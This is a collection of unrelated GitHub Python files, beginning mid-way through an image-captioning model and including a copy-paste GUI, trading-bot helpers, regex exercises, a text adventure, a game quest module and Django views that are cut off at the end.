context_out = map(lambda t: rearrange(t, 'b h n d -> b n (h d)'), (out, context_out))\n out = self.to_out(out)\n context_out = self.context_to_out(context_out)\n if return_attn:\n return out, context_out, attn, context_attn\n return out, context_out\n\n\nclass MultiheadAttention(nn.Module):\n\n def __init__(self, input_dim, embed_dim, num_heads):\n super().__init__()\n assert embed_dim % num_heads == 0, \"Embedding dimension must be 0 modulo number of heads.\"\n\n self.embed_dim = embed_dim\n self.num_heads = num_heads\n self.head_dim = embed_dim // num_heads\n self.qkv_proj = nn.Linear(input_dim, 3 * embed_dim)\n self.o_proj = nn.Linear(embed_dim, embed_dim)\n\n self._reset_parameters()\n\n def _reset_parameters(self):\n nn.init.xavier_uniform_(self.qkv_proj.weight)\n self.qkv_proj.bias.data.fill_(0)\n nn.init.xavier_uniform_(self.o_proj.weight)\n self.o_proj.bias.data.fill_(0)\n\n def forward(self, x, mask=None, return_attention=False):\n batch_size, seq_length, _ = x.size()\n if mask is not None:\n mask = expand_mask(mask)\n qkv = self.qkv_proj(x)\n qkv = qkv.reshape(batch_size, seq_length, self.num_heads, 3 * self.head_dim)\n qkv = qkv.permute(0, 2, 1, 3)\n q, k, v = qkv.chunk(3, dim=-1)\n values, attention = scaled_dot_product(q, k, v, mask=mask)\n values = values.permute(0, 2, 1, 3)\n values = values.reshape(batch_size, seq_length, self.embed_dim)\n o = self.o_proj(values)\n if return_attention:\n return o, attention\n else:\n return o\n\n\nclass QFormerBlock(nn.Module):\n def __init__(self, img_emb_size, text_emb_size, output_size, bias=True, act=nn.Tanh):\n super(QFormerBlock, self).__init__()\n\n self.attn = MultiheadAttention(text_emb_size, text_emb_size, 16)\n self.cross_attn = BidirectionalCrossAttention(\n dim=img_emb_size,\n heads=16,\n dim_head=1024,\n context_dim=text_emb_size\n )\n self.text_mlp = nn.Sequential(\n nn.Linear(text_emb_size, text_emb_size * 2),\n act(),\n nn.Linear(text_emb_size * 2, text_emb_size * 2),\n act(),\n nn.Linear(text_emb_size * 2, output_size)\n )\n\n @autocast(\"cuda\")\n def forward(self, img_emb: torch.Tensor, text_emb: torch.Tensor) -> torch.Tensor:\n text_emb = self.attn(text_emb)\n img_emb, text_emb = self.cross_attn(img_emb.reshape(-1, 1, img_emb.shape[1]), text_emb)\n text_emb = self.text_mlp(text_emb)\n return img_emb, text_emb\n\n\nclass MySequential(nn.Sequential):\n def forward(self, *inp):\n for module in self._modules.values():\n inp = module(*inp)\n if inp[0].shape[1] == 1:\n inp = (inp[0][:, 0, :], inp[1])\n return inp\n\n\nclass QFormer(nn.Module):\n def __init__(self, img_emb_size, text_emb_size, output_size, n_blocks=4, bias=True, act=nn.Tanh):\n super(QFormer, self).__init__()\n\n self.blocks = MySequential(\n *[QFormerBlock(img_emb_size, text_emb_size, text_emb_size) for _ in range(n_blocks)],\n )\n self.res = nn.Sequential(\n nn.Linear(img_emb_size + text_emb_size, output_size)\n )\n\n @autocast(\"cuda\")\n def forward(self, img_emb: torch.Tensor, text_emb: torch.Tensor) -> torch.Tensor:\n img_emb, text_emb = self.blocks(img_emb, text_emb)\n text_emb = text_emb.mean(axis=1)\n res_emb = torch.cat((img_emb, text_emb), axis=1)\n res_emb = self.res(res_emb)\n return res_emb\n\n\nclass MLP(nn.Module):\n def __init__(self, input_shape, output_shape, act=nn.Tanh):\n super(MLP, self).__init__()\n self.seq = nn.Sequential(\n nn.Linear(input_shape, input_shape * 2),\n act(),\n nn.Linear(input_shape * 2, output_shape)\n )\n\n @autocast(\"cuda\")\n def forward(self, x):\n return self.seq(x)\n\n\ndef freeze(\n model,\n freeze_emb=False,\n freeze_ln=False,\n freeze_attn=False,\n freeze_ff=False,\n freeze_other=False,\n):\n for name, p in model.named_parameters():\n name = name.lower()\n if 'ln' in name or 'norm' in name:\n p.requires_grad = not freeze_ln\n elif 'embeddings' in name:\n p.requires_grad = not freeze_emb\n elif 'mlp' in name:\n p.requires_grad = not freeze_ff\n elif 'attn' in name:\n p.requires_grad = not freeze_attn\n else:\n p.requires_grad = not freeze_other\n\n return model\n\n\nclass ClipCaptionModel(nn.Module):\n def __init__(self, config, prefix_length: int, prefix_size: int = 640, dist_loss=nn.MSELoss()):\n super(ClipCaptionModel, self).__init__()\n self.prefix_length = prefix_length\n self.clip_model, _, _ = open_clip.create_model_and_transforms(config.encoder, pretrained=\"laion400m_e32\")\n self.tokenizer = AutoTokenizer.from_pretrained(config.decoder)\n self.gpt = GPT2LMHeadModel.from_pretrained(config.decoder,\n eos_token_id=self.tokenizer.pad_token_id)\n self.gpt_embedding_size = self.gpt.transformer.wte.weight.shape[1]\n self.clip_project = QFormer(prefix_size, self.gpt_embedding_size,\n self.gpt_embedding_size * prefix_length)\n self.device = config.device\n self.dist_loss = dist_loss\n self.mlp = MLP(self.gpt_embedding_size, self.gpt_embedding_size)\n\n for p in self.gpt.parameters():\n p.requires_grad = False\n for p in self.clip_model.parameters():\n p.requires_grad = False\n\n def get_dummy_token(self, batch_size: int, device: torch.device) -> torch.Tensor:\n return torch.zeros(batch_size, self.prefix_length, dtype=torch.int64, device=device)\n\n @autocast(\"cuda\")\n def forward(self, query_tokens: torch.Tensor, query_mask: Optional[torch.Tensor],\n answer_tokens: torch.Tensor, answer_mask: Optional[torch.Tensor], image):\n embedding_text = self.gpt.transformer.wte(query_tokens)\n image = self.clip_model.encode_image(image)\n prefix_projections = self.clip_project(image.float(), embedding_text).view(-1, self.prefix_length,\n self.gpt_embedding_size)\n prefix_projections = self.mlp(prefix_projections)\n out = self.gpt(inputs_embeds=prefix_projections, labels=answer_tokens)\n return out, prefix_projections\n\n def generate(self, image, texts):\n tokens = torch.tensor(self.tokenizer.batch_encode_plus(texts)['input_ids'], dtype=torch.int64).to(self.device)\n\n embedding_text = self.gpt.transformer.wte(tokens)\n image = self.clip_model.encode_image(image)\n prefix_projections = self.clip_project(image.float(), embedding_text).view(-1, self.prefix_length,\n self.gpt_embedding_size)\n prefix_projections = self.mlp(prefix_projections)\n out = self.gpt.generate(\n inputs_embeds=prefix_projections,\n max_length=self.prefix_length,\n no_repeat_ngram_size=3,\n repetition_penalty=2.,\n )\n res = [self.tokenizer.decode(x) for x in out]\n return res\n","repo_name":"Technolog796/image_captioning","sub_path":"src/models/Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":11563,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"20389039761","text":"import configparser\r\n\r\nfrom tkinter import Tk, Label, Button\r\nimport pyperclip as p\r\nfrom os import path\r\n\r\n\r\n#\r\n# Reece W. - 5/26/2020 V2\r\n# Updated:\r\n# - Better Config = Less code\r\n# - Removed useless modules\r\n# - More Efficent\r\n#\r\n\r\nCONFIG_FILE = 'config.txt' \r\n\r\ndef debugPrint(e):\r\n if debugging.lower() == 'true':\r\n print(e)\r\n\r\n# \r\n# == CONFIGS ==\r\n#\r\nconfig = configparser.ConfigParser()\r\nconfig['SETTINGS'] = {\r\n 'debug': False,\r\n 'title': 'Copy-Paster',\r\n 'fontsize': '18',\r\n 'fontstyle': 'Courie',\r\n 'windowdimensions': '250x250',\r\n}\r\n\r\nconfig['BUTTONS'] = {\r\n 'Example 1': 'You clicked button 1',\r\n 'Example 2': 'You have clicked button 2',\r\n}\r\n\r\n# Write default config if not there\r\nif not path.exists(CONFIG_FILE):\r\n with open(CONFIG_FILE, 'w') as configfile:\r\n config.write(configfile)\r\n\r\nconfig.read(CONFIG_FILE)\r\n\r\n# Save config vaules to variables\r\ndebugging = config['SETTINGS']['debug']\r\nTitle = config['SETTINGS']['title']\r\nfontSize = config['SETTINGS']['fontSize']\r\nfontStyle = config['SETTINGS']['fontStyle']\r\nwindowDimensions = config['SETTINGS']['windowDimensions']\r\n\r\ndebugPrint(f\"{config['SETTINGS']}\")\r\n\r\n#\r\n# == PROGRAM ==\r\n#\r\n\r\n\r\nclass GUI:\r\n def __init__(self, master):\r\n self.master = master\r\n master.title(Title)\r\n master.geometry(windowDimensions)\r\n \r\n for button in config['BUTTONS']:\r\n labelName = button\r\n textToCopy = config['BUTTONS'][button]\r\n debugPrint(f\"[+] Button Created: {labelName}:\\\"{textToCopy}\\\"\")\r\n\r\n # Makes the lable if the config file is correct\r\n try:\r\n exec(f\"\"\"self.button = Button(master,font=(\\'{fontStyle}\\', {fontSize}), text=\\'{labelName}\\', command=lambda: p.copy(\\\"{textToCopy}\\\"))\"\"\")\r\n exec(f\"\"\"self.button.pack()\"\"\")\r\n except:\r\n debugPrint(f\"[!] Button '{labelName}' failed to pack\")\r\n continue\r\n\r\n debugPrint(f\"[+] Done\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n root = Tk()\r\n my_gui = GUI(root)\r\n root.mainloop()\r\n\r\n#\r\n# == /PROGRAM ==\r\n#\r\n","repo_name":"Reecepbcups/Copy-Paster-GUI","sub_path":"source-V2.py","file_name":"source-V2.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"36648919490","text":"import urllib.request as read_url\nfrom datetime import datetime\nfrom os import listdir\n\n\ninformacoes_licensa=['tipo_licensa','data_ativacao']\n\ndef getOnlineUTCTime():\n webpage = read_url.urlopen(\"http://just-the-time.appspot.com/\")\n internettime = webpage.read().decode('utf-8')\n OnlineUTCTime = datetime.strptime(internettime.strip(), '%Y-%m-%d %H:%M:%S')\n return OnlineUTCTime\n\ndef getTime():\n return datetime.now().strftime('%H:%M:%S')\n\ndef subtrair_datas(data_inicial=datetime,data_final=datetime):\n resultado=data_final-data_inicial\n return resultado.days\n\ndef subtrair_tempos(tempo_inicial,tempo_final):\n hora_inicial,minuto_inicial,segundo_inicial=[float(result) for result in tempo_inicial.split(':')]\n hora_final,minuto_final,segundo_final=[float(result) for result in tempo_final.split(':')]\n tempo_to_seconds_inicial=hora_inicial*3600+minuto_inicial*60+segundo_inicial\n tempo_to_seconds_final=hora_final*3600+minuto_final*60+segundo_inicial\n return tempo_to_seconds_final-tempo_to_seconds_inicial\n\ndef converter_string_to_date(string,format='%Y-%m-%d %H:%M:%S'):\n data=datetime.strptime(string,format)\n return data\n\ndef list_files(url):\n list_files = listdir(url)\n return list_files\n\ndef ler_arquivo(url_arquivo):\n file=open(url_arquivo,'rb')\n array=file.readlines()\n file.close()\n return array\n\ndef salvar_arquivo(url_arquivo,array):\n file=open(url_arquivo,'w+')\n file.writelines([str(linha)+'\\n' for linha in array])\n file.close()\n\ndef resetar_configuracao():\n try:\n limpar_arquivo('files//informações.txt')\n limpar_arquivo('files//mapeamento.txt')\n limpar_arquivo('files//posições_saldo.txt')\n except:\n pass\n\ndef limpar_arquivo(url_arquivo):\n try:\n open(url_arquivo, 'w').close()\n except Exception as e:\n pass\n\ndef verificar_arquivo(url, nome_arquivo):\n files_names = list_files(url)\n for file_name in files_names:\n if (file_name == nome_arquivo):\n return True\n return False\n\n\ndef converter_array_to_dictonary(array):\n dicionario={}\n for line in array:\n key,arg=str(line).split('=')\n dicionario[str(key)]=str(arg)\n return dicionario\n\n\ndef get_kwargs_posicao_preco():\n array = ler_arquivo('files//posições_saldo.txt')\n new_array = [linha.decode('utf-8').replace('\\n', '').replace('\\r', '') for linha in array]\n kwargs = converter_array_to_dictonary(new_array)\n return kwargs\n\ndef get_kwargs_mapeamento():\n array=ler_arquivo('files//mapeamento.txt')\n new_array = [linha.decode('utf-8').replace('\\n', '').replace('\\r', '') for linha in array]\n kwargs = converter_array_to_dictonary(new_array)\n return kwargs\n\ndef get_kwargs_informacoes():\n array = ler_arquivo('files//informações.txt')\n new_array=[linha.decode('utf-8').replace('\\n','').replace('\\r','') for linha in array]\n dirct = converter_array_to_dictonary(new_array)\n return dirct\n\ndef verificar_kwargs(url_arquivo,key):\n try:\n array=ler_arquivo(url_arquivo)\n new_array=[linha.decode('utf-8').replace('\\n','').replace('\\n','') for linha in array]\n kwargs=converter_array_to_dictonary(new_array)\n for key_arquivo in kwargs.keys():\n if(key_arquivo==key):\n return 1\n return 0\n except:\n return 0\n\n\n","repo_name":"jadsonlucio/EA-iqoption","sub_path":"robo/arquivo.py","file_name":"arquivo.py","file_ext":"py","file_size_in_byte":3352,"program_lang":"python","lang":"pt","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"6012611833","text":"\"\"\"\r\nCreating a fucntion (validatePhone) that takes one argument (value) and sees if it matches the appropriate\r\nphone number format. Returns true and false otherwise.\r\n\"\"\"\r\nimport re \r\n\r\ndef validatePhone(value):\r\n \"\"\"\r\n Checks to see if phone number is formatted with three digits followed \r\n by a hyphen followed by 3 digits and then a hyphen with four digits after it \r\n \"\"\"\r\n phoneNumOne = re.compile('^[0-9]{3}-[0-9]{3}-[0-9]{4}$')\r\n #Checks to see if phone number is formatted with three digits followed by a hyphen and four digits after it\r\n phoneNumTwo = re.compile('^[0-9]{3}-[0-9]{4}$')\r\n \"\"\"\r\n Checks to see if phone number is formatted with three digits in between round brackets followed by three\r\n digits, then a hyphen and then four more digits after it\r\n \"\"\"\r\n phoneNumThree = re.compile('^([0-9]{3})[0-9]{3}-[0-9]{4}$')\r\n #Usinf if-else statements to see if the phone number matches the requirements and returns true or false otherwise\r\n if phoneNumOne.search(value) or phoneNumTwo.search(value) or phoneNumThree.search(value):\r\n return True\r\n else:\r\n return False\r\n\r\n#Testing the validatePhone function\r\nphoneNumber1 = '721-8668'\r\nphoneNumber2 = '905-721-8668'\r\nphoneNumber3 = '(905)721-8668'\r\nphoneNumber4 = '9057218668'\r\n\r\nprint(\"Phone number \" + phoneNumber1 + \":\", validatePhone(phoneNumber1)) \r\nprint(\"Phone number \" + phoneNumber2 + \":\", validatePhone(phoneNumber2)) \r\nprint(\"Phone number \" + phoneNumber3 + \":\", validatePhone(phoneNumber3)) \r\nprint(\"Phone number \" + phoneNumber4 + \":\", validatePhone(phoneNumber4))\r\n\r\n\"\"\"\r\nPart 2:\r\nCreating a function (validateDomain) that takes one argument and returns true if it matches the domain\r\nrequirements. A lowercase string followed by an optional dot with lowercase,digits, or underscore, followed\r\nby a dot and then either a com, ca or org.\r\n\"\"\"\r\nimport re \r\ndef validateDomain(value):\r\n #Using regex to see if domain meets requirements and ends with com\r\n domain = re.compile('^[a-z]+(.([a-z0-9_])*.)?.com$')\r\n #Using regex to see if domain meets requirements and ends with ca\r\n domain2 = re.compile('^[a-z]+(.([a-z0-9_])*.)?.ca$')\r\n #Using regex to see if domain meets requirements and ends with org\r\n domain3 = re.compile('^[a-z]+(.([a-z0-9_])*.)?.org$')\r\n #Usinf if-else statements to check if the domain matches with the requirements and returns true, and false otherwise\r\n if domain.search(value) or domain2.search(value) or domain3.search(value):\r\n return True\r\n else:\r\n return False\r\n#Testing the validateDomain function\r\ndomainOne = 'google.ca'\r\ndomainTwo = 'animals.amazon.com'\r\ndomainThree = 'redcross.org'\r\ndomainFour = 'food.ag'\r\nprint()\r\nprint(\"Domain: \" + domainOne, validateDomain(domainOne))\r\nprint(\"Domain: \" + domainTwo, validateDomain(domainOne))\r\nprint(\"Domain: \" + domainThree, validateDomain(domainOne))\r\nprint(\"Domain: \" + domainFour, validateDomain(domainOne))\r\n\r\n\"\"\"\r\nPart 3:\r\nCreating a function that retruns true if string contains an even number of a's (including zero),\r\nfollowed by any number of b's, followed by n c's where n is a multiple of 3. \r\n\"\"\"\r\ndef validateLang(value):\r\n #Using the regex to see if there are an even number of a's (0 or more) \r\n #followed by any number of bs and c's that are a multiple of 3\r\n description = re.compile('(aa)*(bbb)*(ccc)*')\r\n if description.search(value):\r\n return True\r\n else:\r\n return False\r\n#Testing the validateLang function\r\nprint(\"String bbcccc:\", validateLang('abbcccc')) \r\nprint(\"String aaaaccc:\", validateLang('aaaaccc')) \r\nprint(\"String aabbbbbcccccc:\", validateLang('aabbbbbcccccc')) \r\nprint(\"String abbcc:\", validateLang('abbcc'))\r\n\r\n\"\"\"\r\nPart 4: \r\nCreating a fucntion (trimSpaces) that takes a single argument and replaces the white spaces\r\nin the string to a single space\r\n\"\"\"\r\nprint('\\nPart 4')\r\ndef trimSpaces(value):\r\n #Removing the whitespaces in beginning and end of string\r\n removeSpace = value.strip()\r\n #Using the re.sub() to replace all white spaces in between the string to a single space\r\n whiteSpace = re.sub(' +', \" \", removeSpace)\r\n #returning the new string \r\n return whiteSpace\r\n\r\n#Testing the trimSpaces function\r\nprint(\" bbb ccc: \" + trimSpaces(' bbb ccc')) \r\nprint(\"bbb ccc :\" + trimSpaces('bbb ccc '))\r\nprint(\"bbb ccc:\" + trimSpaces('bbb ccc')) \r\nprint(\" bbb ccc :\" + trimSpaces(' bbb ccc '))\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n","repo_name":"SoumiaUma/Python-Practice","sub_path":"regex.py","file_name":"regex.py","file_ext":"py","file_size_in_byte":4445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"20679425265","text":"import sounds\nimport utils\nimport world\nfrom player import Player\n\n\ndef play():\n world.load_tiles()\n name = input(\"Whats Your name?: \\t\")\n player = Player(name)\n # These lines load the starting room and display the text\n room = world.tile_exists(player.location_x, player.location_y)\n sounds.phone_ringing()\n print(f\"Hello {name}\")\n intro_text = \"\"\"As you know in the end of \"End game avenger\" , Thanos in the end killed by Thor but he actually Managed to escape by using time travel in the meantime, \n he has been hiding in ocean and thinking about a big revenge. so after 6 years he is coming here with a submarine to destroy whole earth, your task is to destroy his submarine and save the humankindd\"\"\"\n print(intro_text)\n sounds.submarine_coming()\n utils.submarine_ascii()\n print(room.intro_text())\n while player.is_alive() and not player.victory:\n room = world.tile_exists(player.location_x, player.location_y)\n room.modify_player(player)\n # Check again since the room could have changed the player's state\n if player.is_alive() and not player.victory:\n print(\"Choose an action:\\n\")\n available_actions = room.available_actions()\n for action in available_actions:\n print(action)\n action_input = input('Action: ')\n for action in available_actions:\n if action_input == action.hotkey:\n player.do_action(action, **action.kwargs)\n break\n if player.is_alive() and player.victory:\n print(\"You won!\")\n sounds.win()\n\n print(\"Game Over you Lost!\")\n sounds.game_over()\n\n\nif __name__ == \"__main__\":\n play()\n","repo_name":"dparmar2408/TextAdventureGame","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37981688180","text":"# -*- coding: gb18030 -*-\n#\n# $Id $\n\n\"\"\"\n劫镖任务模块 spf\n\"\"\"\n\nfrom bwdebug import *\nfrom Quest import *\nfrom QuestDataType import QuestDataType\nfrom QuestRandomRecordType import QuestRandomRecordType\nfrom string import Template\nfrom QuestFixedLoop import QuestFixedLoop\nimport QTReward\nimport QTTask\nimport time\nimport random\nimport csdefine\nimport csstatus\nimport csconst\nimport ECBExtend\n\n\nclass QuestRob( QuestFixedLoop ):\n\tdef __init__( self ):\n\t\tQuestFixedLoop.__init__( self )\n\t\tself._finish_count = 1 #默认为1\n\n\tdef init( self, section ):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tQuestFixedLoop.init( self, section )\n\t\tself._type = csdefine.QUEST_TYPE_ROB\n\t\tself._finish_count = section.readInt( \"repeat_upper_limit\" )\n\n\tdef getFaction( self, player, tasks = None ):\n\t\t\"\"\"\n\t\t获得此任务镖局的势力\n\t\t\"\"\"\n\t\tfactionID = -1\n\t\tif tasks is None:\n\t\t\ttasks = self.newTasks_( player )\n\t\tif tasks is None:\n\t\t\tERROR_MSG( \"Faction id should be set into tasks!\" )\n\t\t\treturn -1\n\t\tfor task in tasks._tasks.itervalues():\n\t\t\tif task.getType() == csdefine.QUEST_OBJECTIVE_DART_KILL:\n\t\t\t\tfactionID = int( task.str1 )\n\t\tif factionID == -1 or factionID == None:\n\t\t\tERROR_MSG( \"Faction id has not been initiate!\" )\n\t\tif factionID == csconst.FACTION_CP:\n\t\t\tfactionID = csconst.FACTION_XL\n\t\telif factionID == csconst.FACTION_XL:\n\t\t\tfactionID = csconst.FACTION_CP\n\t\treturn factionID\n\n\tdef onAccept( self, player, tasks ):\n\t\t\"\"\"\n\t\tvirtual method.\n\t\t执行任务实际处理\n\t\t\"\"\"\n\n\t\tlpLog = player.getLoopQuestLog( self._id, True )\n\t\tif lpLog:\n\t\t\tlpLog.incrDegree()\n\t\tQuest.onAccept( self, player, tasks )\n\n\tdef abandoned( self, player, flags ):\n\t\t\"\"\"\n\t\tvirtual method.\n\t\t劫镖任务只能镖局首领那里放弃\n\t\t@param player: instance of Role Entity\n\t\t@type player: Entity\n\t\t@return: None\n\t\t\"\"\"\n\t\t#为了便于测试先注释掉\n\t\tif flags != csdefine.QUEST_REMOVE_FLAG_NPC_CHOOSE:\n\t\t\tplayer.statusMessage( csstatus.ROLE_QUEST_ROB_ABANDONED_FAILED )\n\t\t\treturn False\n\t\tplayer.statusMessage( csstatus.ROLE_QUEST_ROB_ABANDONED )\n\t\ttasks = self.newTasks_( player )\n\t\tfactionID = self.getFaction( player, tasks )\n\t\tplayer.client.updateTitlesDartRob( factionID )\n\t\treturn QuestFixedLoop.abandoned( self, player, flags )\n\n\tdef onRemoved( self, player ):\n\t\t\"\"\"\n\t\t任务移去时通知玩家去掉头顶标记\n\t\t\"\"\"\n\t\t#player.removeFlag( csdefine.ROLE_FLAG_ROBBING )\n\n\t\tif player.hasFlag( csdefine.ROLE_FLAG_CP_ROBBING ):\n\t\t\tplayer.removeFlag( csdefine.ROLE_FLAG_CP_ROBBING )\n\t\telse:\n\t\t\tplayer.removeFlag( csdefine.ROLE_FLAG_XL_ROBBING )\n\n\t\tplayer.cancel( player.queryTemp( \"robDart_timerID\", 0 ) )\n\t\tplayer.removeTemp( \"robDart_timerID\" )\n\t\tplayer.remove( \"RobEndTime\" )\n\n\n\tdef query( self, player ):\n\t\t\"\"\"\n\t\t查询玩家对某一个任务的进行状态。\n\t\t这里专门对劫镖任务单独处理,因为劫镖任务和其他任务不一样\n\t\t策划要求劫镖任务狙杀镖车后,即时规定时间内不交任务,也算完成\n\t\t@return: 返回值类型请查看common里的QUEST_STATE_*\n\t\t@rtype: UINT8\n\t\t\"\"\"\n\t\tquestID = self.getID()\n\t\tif player.questIsCompleted( questID ):\n\t\t\treturn csdefine.QUEST_STATE_COMPLETE\t\t\t\t\t\t# 已做过该任务\n\t\tif player.has_quest( questID ):\n\t\t\t# 已接了该任务\n\t\t\tif player.questTaskIsCompleted( questID ):\n\t\t\t\treturn csdefine.QUEST_STATE_FINISH\t\t\t\t\t\t# 任务目标已完成\n\t\t\telif self.isCompleted( player ):\n\t\t\t\treturn csdefine.QUEST_STATE_FINISH\n\t\t\telse:\n\t\t\t\treturn csdefine.QUEST_STATE_NOT_FINISH\t\t\t\t\t# 任务目标未完成\n\t\telse:\n\t\t\t# 没有接该任务\n\t\t\tif self.checkRequirement( player ):\n\t\t\t\treturn csdefine.QUEST_STATE_NOT_HAVE\t\t\t\t\t# 可以接但还未接该任务\n\t\t\telse:\n\t\t\t\treturn csdefine.QUEST_STATE_NOT_ALLOW\t\t\t\t\t# 不够条件接该任务\n\n\tdef sendQuestLog( self, player, questLog ):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tQuestFixedLoop.sendQuestLog( self, player, questLog )\n\t\tself.addPlayerRobFlag( player )\n\n\tdef addPlayerRobFlag( self, player ):\n\t\t\"\"\"\n\t\t\"\"\"\n\t\tfactionID = self.getFaction( player )\n\t\tplayer.client.updateTitlesDartRob( factionID )\n\t\tif not self.isFailed( player ):\n\t\t\tif factionID == csconst.FACTION_CP:\n\t\t\t\tplayer.addFlag( csdefine.ROLE_FLAG_CP_ROBBING )\n\t\t\telse:\n\t\t\t\tplayer.addFlag( csdefine.ROLE_FLAG_XL_ROBBING )\n\t\tt = player.query(\"RobEndTime\", 0) - time.time()\n\t\t\n\t\t# 由于玩家上线的时候可能劫镖的时间已经过去了,但��劫镖的flag还在玩家身上, 所以删除标志的定时器无论什么时候都要起作用\n\t\tif t < 1:\n\t\t\tt = 1\n\t\t\t\n\t\tplayer.setTemp( \"robDart_timerID\", player.addTimer( t, 0, ECBExtend.REMOVE_ROB_FLAG ) )\n\n\tdef isCompleted( self, player ):\n\t\t\"\"\"\n\t\t是否完成劫镖任务,根据策划的要求,只要在规定时间内狙杀了镖车就算完成\n\t\t狙杀镖车后即时规定时间内不交任务,也不能算失败\n\t\t\"\"\"\n\t\tfor t in self.tasks_.itervalues():\n\t\t\tif t.getType() == csdefine.QUEST_OBJECTIVE_DART_KILL:\n\t\t\t\tindex = t.index\n\t\t\t\treturn player.questsTable[self.getID()]._tasks[index].isCompleted( player )\n\t\treturn False\n\n\tdef isFailed( self, player ):\n\t\t\"\"\"\n\t\t劫镖任务是否已经失败\n\t\t\"\"\"\n\t\tfailed = False\n\t\tfor t in self.tasks_.itervalues():\n\t\t\tif t.getType() == csdefine.QUEST_OBJECTIVE_DART_KILL:\n\t\t\t\t# 没有失败\n\t\t\t\tif player.questsTable[self.getID()]._tasks[t.index].isCompleted( player ):\n\t\t\t\t\treturn False\n\t\t\telif t.getType() == csdefine.QUEST_OBJECTIVE_TIME:\n\t\t\t\tfailed = not player.questsTable[self.getID()]._tasks[t.index].isCompleted( player )\n\t\treturn failed","repo_name":"mudsave/csol2_enities_45541","sub_path":"cell/Resource/QuestModule/QuestRob.py","file_name":"QuestRob.py","file_ext":"py","file_size_in_byte":5069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"620568650","text":"import g\nimport json\nfrom blueRapid import blueRapid, Point\nimport logging\nimport numpy as np\nfrom blueRapidEstimate import getRalationshipList, compareRelationshipList\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(levelname)s:%(message)s', level=logging.INFO)\n idLdaDict = {}\n estimates = []\n disks = []\n with open(g.ldaDir + 'idLdaDict.json', 'r', encoding='utf-8') as f:\n idLdaDict = json.loads(f.read())\n\n with open(g.dataPath + 'blueNoise/samplePoints-500-2485-0.12732489624429985.json', 'r', encoding='utf-8') as f:\n points = json.loads(f.read())\n disks = []\n for p in points:\n disk = []\n disk.append(Point(p['id'], idLdaDict[p['id']]))\n for p2 in p['pointsInDisk']:\n disk.append(Point(p2['id'], idLdaDict[p2['id']]))\n disks.append(disk)\n\n originalValues = np.full(g.topicNumber, 0).tolist()\n for k in idLdaDict:\n for i in range(len(idLdaDict[k])):\n originalValues[i] = idLdaDict[k][i]\n\n l1 = getRalationshipList(originalValues)\n\n ratioList = []\n for i in range(0, 10):\n estimates = blueRapid(disks, dimension=g.topicNumber, delta=0.05, c=1)\n if estimates != None:\n l2 = getRalationshipList(estimates)\n ratio = compareRelationshipList(l1, l2)\n ratioList.append(ratio)\n else:\n ratioList.append(None)\n\n sum = 0\n count = 0\n for v in ratioList:\n if v != None:\n sum += v\n count += 1\n\n try:\n print('same ratio:' + str(sum / count))\n except Exception as e:\n print(e)\n","repo_name":"locknono/twitter-sampling","sub_path":"python_scripts/blueRapidTest.py","file_name":"blueRapidTest.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"38674398152","text":"from django.shortcuts import render\nfrom django.conf import settings\nfrom django.core.mail import EmailMessage\nfrom django.core import serializers\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import JsonResponse, HttpResponse\nfrom django.utils import formats\nfrom django.shortcuts import get_object_or_404, redirect\nfrom django.template.loader import render_to_string\nfrom rest_framework import status\nfrom django.db.models import Q\nfrom resources.models import Resource\nfrom projects.models import Project\nfrom organisations.models import Organisation\nfrom profiles.models import Profile\n\n\nfrom datetime import datetime\nfrom PIL import Image\n\nfrom .forms import PlatformForm\nfrom .models import Platform\nimport copy\nimport random\n\n\n# Create your views here.\n\n\n@login_required(login_url='/login')\ndef newPlatform(request):\n user = request.user\n platformForm = PlatformForm()\n\n return render(request, 'platform_form.html', {'form': platformForm, 'user': user})\n\n\n@login_required(login_url='/login')\ndef editPlatform(request, pk):\n user = request.user\n platform = get_object_or_404(Platform, id=pk)\n\n if user != platform.creator and not user.is_staff:\n return redirect('../platforms', {})\n\n platformForm = PlatformForm(initial={\n 'name': platform.name,\n 'url': platform.url,\n 'description': platform.description,\n 'geographicExtend': platform.geographicExtend,\n 'countries': platform.countries,\n 'platformLocality': platform.platformLocality,\n 'contactPoint': platform.contactPoint,\n 'contactPointEmail': platform.contactPointEmail,\n 'organisation': platform.organisation.all,\n 'logo': platform.logo,\n 'logoCredit': platform.logoCredit,\n 'profileImage': platform.profileImage,\n 'profileImageCredit': platform.profileImageCredit\n })\n return render(request, 'platform_form.html', {'form': platformForm, 'user': user, 'id': platform.id})\n\n\n@login_required(login_url='/login')\ndef deletePlatformAjax(request, pk):\n print(pk)\n print(request.user)\n platform = get_object_or_404(Platform, id=pk)\n print(platform.creator)\n if request.user == platform.creator or request.user.is_staff:\n platform.delete()\n return JsonResponse({'Platform deleted': 'OK', 'Id': pk}, status=status.HTTP_200_OK)\n else:\n return JsonResponse({}, status=status.HTTP_403.FORBIDDEN)\n\n\n@login_required(login_url='/login')\ndef savePlatformAjax(request):\n print(request.POST)\n form = PlatformForm(request.POST, request.FILES)\n if form.is_valid():\n images = setImages(request, form)\n pk = form.save(request, images)\n if request.POST.get('Id').isnumeric():\n return JsonResponse({'Platform updated': 'OK', 'Id': pk}, status=status.HTTP_200_OK)\n else:\n sendPlatformEmail(pk, request.user)\n return JsonResponse({'Platform created': 'OK', 'Id': pk}, status=status.HTTP_200_OK)\n else:\n return JsonResponse(form.errors, status=status.HTTP_406_NOT_ACCEPTABLE)\n\n\ndef platform(request, pk):\n platform = 